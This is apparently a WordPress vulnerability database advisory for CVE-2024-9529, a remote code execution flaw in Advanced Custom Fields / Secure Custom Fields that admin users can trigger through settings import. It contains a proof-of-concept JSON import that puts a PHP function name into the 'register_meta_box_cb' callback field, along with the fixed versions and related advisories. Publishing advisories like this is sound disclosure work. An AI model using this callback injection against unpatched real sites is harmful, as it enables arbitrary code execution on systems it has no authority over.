Secure Custom Fields < 6.3.6.3 – Admin+ Remote Code Execution | CVE 2024-9529 | Plugin Vulnerabilities

Description

The plugin does not prevent users from running arbitrary functions through its setting import functionalities, which could allow high privilege users such as admin to run arbitrary PHP functions.

Proof of Concept

Import the following JSON, wp_write_post() will be executed when navigating to /wp-admin/post-new.php?post_type=demo:

[
	{
		"key": "post_type_demo",
		"post_type": "demo",
		"title": "demo",
		"active": true,
		"_valid": true,
		"labels": {
			"name": "demo",
			"singular_name": "demo",
			"menu_name": "demo"
		},
		"register_meta_box_cb": "wp_write_post"
	}
]

Affects Plugins

advanced-custom-fields

Fixed in 6.3.9

advanced-custom-fields

Fixed in 6.3.6.3

advanced-custom-fields-pro

Fixed in 6.3.9

References

CVE

Classification

Type

RCE

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Automattic Security Team

Submitter website

https://automattic.com

Verified

Yes

WPVDB ID

dd3cc8d8-4dff-47f9-b036-5d09f2c7e5f2

Timeline

Publicly Published

2024-10-24 (about 1 year ago)

Added

2024-10-17 (about 1 year ago)

Last Updated

2024-10-17 (about 1 year ago)

Other

Published

Title

Published

2021-05-26

Title

Gallery From Files <= 1.6.0 - Unauthenticated RCE

Published

2025-11-28

Title

Ocean Modal Window < 2.3.3 - Editor+ Remote Code Execution via Modal Conditions

Published

2024-08-23

Title

Image Hotspot by DevVN < 1.2.6 - Authenticated (Author+) PHP Object Injection

Published

2025-09-22

Title

Cozy Blocks < 2.1.30 - Unauthenticated Arbitrary Shortcode Execution

Published

2014-12-30

Title

Cforms & CformsII <= 14.7 - Remote Code Execution via Unauthorised File Upload